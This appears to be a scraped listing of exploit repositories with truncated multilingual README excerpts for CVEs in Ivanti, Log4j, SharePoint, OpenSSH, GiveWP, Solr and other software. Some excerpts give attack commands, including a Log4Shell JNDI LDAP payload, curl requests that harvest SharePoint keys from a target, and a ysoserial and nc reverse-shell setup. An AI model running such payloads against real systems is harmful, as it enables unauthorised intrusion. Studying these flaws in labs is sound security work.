Blackash-CVE-2025-0282

Blackash-CVE-2025-0282 説明 Ivanti Connect Secure バージョン22.7R2.5未満、Ivanti Policy Secure バージョン22.7R1.2未満、およびIvanti Neurons for ZTAゲートウェイ バージョン22.7R2.3未満 におけるスタックベースのバッファオーバーフローにより、リモートの未認証攻撃者がリモートコード実行を達成できます。 メトリクス CNA: ivanti 基本スコア: 9.0 CRITICAL ⚫ ベクター: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H...

log4shell_lab

log4shell エクスプロイトラボ このリポジトリは、log4shell エクスプロイトラボのワンラインセットアップです。 ラボのセットアップ: docker-compose up -d エクスプロイトの実行: curl -X GET http://localhost:8080/ -H "X-Api-Version: $jndi:ldap://myldapserver:1389/a" 次に、vul コンテナに移動して、実際にマシンを pwn したことを確認します: ラボのセットアップを解説する動画: https://www.youtube.com/watch?v=WBzR30JcT5...

CVE-2020-10238

HK 제작 CVE-2020-10238: comtemplates의 잘못된 액세스 제어 - RCE CVE-2020-10239: comfields SQL 필드의 잘못된 액세스 제어 - RCE 링크 https://developer.joomla.org/security-centre/804-20200303-core-incorrect-access-control-in-com-templates.html...

log4j-vul

log4j-vul このプロジェクトは、Apache Log4j2 の脆弱性 別名 CVE-2021-44228 を示すためのものです。 Java: java version "1.8.0121" コンパイル: srcフォルダから javac -classpath .;..\lib\log4j-api-2.1.jar;..\lib\log4j-core-2.1.jar com\example\Log4jVul.java 実行\実行: srcフォルダから java -classpath .;..\lib\log4j-api-2.1.jar;..\lib\log4j-core-2.1.jar...

CVE-2022-24706

CVE-2022-24706 Apache CouchDB 3.2.1 - 원격 코드 실행 RCE 검사기 사용법: nmap -p 4369 --script CVE-2022-24706.nse --script-args cookie=monster,timeout=5000...

cve-2025-3248-exploit

CVE-2025-3248: Langflow 무인증 RCE 취약점 스캐너 Langflow 버전 ≤ 1.3.0에 영향을 미치는 치명적인 무인증 원격 코드 실행 취약점인 CVE-2025-3248 을 테스트하고 시연하기 위한 포괄적인 Python 익스플로잇 프레임워크입니다. 🔴 취약점 개요 CVE-2025-3248: Langflow 코드 삽입 RCE...

CVE-2021-41773

CVE-2021-41773 Apache HTTP Server 2.4.49, 2.4.50 - 경로 탐색 & 원격 코드 실행...

CVE-2025-53770-Exploit

CVE-2025-53770-Exploit まず、対象のSharePointページからVIEWSTATEGENERATOR、VALIDATIONKEY、VALIDATIONALGの値を取得します： root@kitploit: curl -s https://target.com/layouts/15/start.aspx | grep -oP 'VIEWSTATEGENERATOR" value="\K^"+' curl https://target.com/layouts/15/spinstall0.aspx...

CVE-2024-44902-env

CVE-2024-44902 - ThinkPHP 안전하지 않은 역직렬화 RCE nuclei-templates 검증을 위한 취약 환경. 취약점 세부 정보...

react-rce

CVE-2025-55182 React2Shell 취약점 실습 사용된 AI : Claude Opus 4.5 ⚠️ 경고 : 이 환경은 교육 및 연구 목적 으로만 사용하세요. 취약점 개요...

CVE-2024-6387

원문 재게시 CVE-2024-6387 - PoC 📜 설명 참고: 이 스크립트는 빠른 프로토타입 PoC입니다. 일부 오류 및 버그가 발생할 수 있습니다. 테스트 환경: Kali Linux, ParrotSec, Ubuntu 22.04 OpenSSH 서버의 원격 인증되지 않은 코드 실행 취약점 OpenSSH 서버sshd에서 신호 핸들러 경쟁 조건이 발견되었습니다. 클라이언트가 LoginGraceTime기본 120초, 이전 OpenSSH 버전에서는 600초 내에 인증을 완료하지 않으면 sshd의 SIGALRM 핸들러가 비동기적으로...

CVE-2023-33253

CVE-2023-33253 LabCollector 6.0 から 6.15 まで、リモートコード実行が可能です 認証されたリモートの低権限ユーザーが、実行可能なPHPファイルをアップロードし、システムコマンドを実行できます。 脆弱性はメッセージ機能にあり、送信されるファイル（例：shell.jpg.php.shell）の検証が不十分であることが原因です。 Windows Server 2019 x64 でテスト済み 使用方法: python CVE-2023-33253 -t 127.0.0.1 -u user -p user PoC:...

cve-2024-0305exp

cve-2024-0305exp cve-2024-0305 사용 가능한 exp, 인용 시 출처를 밝혀주시기 바랍니다. 감사합니다! 0x01 제품 배경 Ncast Yingkeshi HD 지능형 녹화 시스템은 광저우 Yingkeshi 전자 기술 유한회사의 제품입니다. 이 시스템에는 RCE 취약점이 존재하며, 공격자는 이 취약점을 이용하여 임의 명령을 실행할 수 있습니다. 이를 통해 서버 권한을 획득하여 서버가 장악될 수 있습니다. 0x02 취약점 범위 Ncast 2007 Ncast 2017 0x03 취약점 검색 FOFA:...

CVE-2013-4710-WebView-RCE-Vulnerability

CVE-2013-4710-WebView-RCE-Vulnerability 漏洞描述 很多时候我们使用 WebView 来显示网页，例如许多应用为了实现服务器控制，许多结果页面都是网页，而不是本地实现，这样做有很多优点，例如界面变更不需要发布新版本，直接在服务器端修改即可。使用网页来显示界面，通常或多或少都会与 Java 代码有交互，比如点击网页上方的按钮，我们需要知道按钮点击事件，或者我们必须调用某个方法，让页面执行某些操作，为了实现这些交互，我们通常使用 JS 来实现，而 WebView 已经提供了这样的方法，具体用法如下： root@kitploit:...

Peyara-FileUpload

익스플로잇 제목: Peyara Remote Mouse v1.0.1 비인증 임의 파일 업로드 날짜: 2025-01-06 익스플로잇 작성자: tmrswrr 소프트웨어 링크: https://peyara-remote-mouse.vercel.app/ 플랫폼: Windows 버전: v1.0.1 테스트 환경: Windows 10 root@kitploit: USAGE : python3 combinedscript.py 악성 LNK 파일 생성 evil.lnk root@kitploit: $WshShell = New-Object -ComObject...

CVE-2018-18925

CVE-2018-18925 CVE-2018-18925 악용: Git 자체 호스팅 도구 Gogs에 대한 원격 코드 실행. Gogs는 Macaron 프레임워크를 기반으로 합니다. 세션 관리를 위해 사용되는 시스템은 PHP가 하는 방식과 매우 유사합니다. 쿠키의 세션 식별자는 파일 시스템의 파일에 매핑됩니다. 웹 서버가 쿠키로 세션 식별자가 포함된 요청을 받으면 파일 시스템에서 해당 파일을 찾습니다. 이 취약점은 파일 시스템에서 세션에 사용되는 파일을 검색할 때 발생하는 간단한 디렉토리 트래버설입니다. 예를 들어, ilikegogi...

givewp-cve-2026-82222-rce-lab

CVE-2026-82222 — GiveWP 仅标记 RCE 验证实验室 用于在隔离的 Docker 实验室中复现和验证 CVE-2026-82222 的安全研究材料。 如需直接 RCE PoC 和 URL 扫描，请使用CVE-2026-8222-RCE.py 结论 状态：在所提供的实验室中已验证 GiveWP 4.16.5.1 允许最初未经身份验证的攻击者持久化一个 PHP 对象图，通过 GiveWP 会话处理将其复活，并以 WordPress Web 服务器用户身份 执行一个固定的标记命令。 测试阳性结果： root@kitploit: GiveWP: 4.16.5.1...

cve-2017-12629

README Apache Solr 7.1 이전 버전과 Apache Lucene 7.1 이전 버전에서는 Config API add-listener 명령과 함께 XXE를 악용하여 RunExecutableListener 클래스에 도달함으로써 원격 코드 실행이 발생합니다. Elasticsearch는 Lucene을 사용하지만 이 취약점에는 영향받지 않습니다. XML 외부 엔티티 확장 취약점은 기본적으로 deftype=xmlparser 매개변수를 가진 모든 쿼리 요청에서 사용할 수 있는 XML Query Parser에서 발생하며,...

CVE-2021-29200

CVE-2021-29200 CVE-2021-29200 EXP はシェルをリバース接続で取得可能 この記事およびツールは技術共有のみを目的としており、不正な目的での使用は固く禁止します。違反した場合の結果はすべて自己責任となります。 コマンド実行EXPのトリガー 1. VPS上で RMI リスナーを 9999 ポートで起動 root@kitploit: java -cp ysoserial.jar ysoserial.exploit.JRMPListener 9999 CommonsBeanutils1 '要执行的命令' 2. VPS上で nc リスナーを 8443 ポートで起動...

CVE-2024-2961

Buddyforms 2.7.7 CNEXT RCE CVE-2024-2961 및 CVE-2023–26326을 악용하여 RCE 달성 사용법 root@kitploit: git-clone https://github.com/suce0155/CVE-2024-2961buddyforms2.7.7 pip install -r requirements.txt python3 buddyforms2.7.7cnextexploit.py http://site/wp-admin/admin-ajax.php ip port 분석 및 기술 세부 사항 제 블로그 게시물을...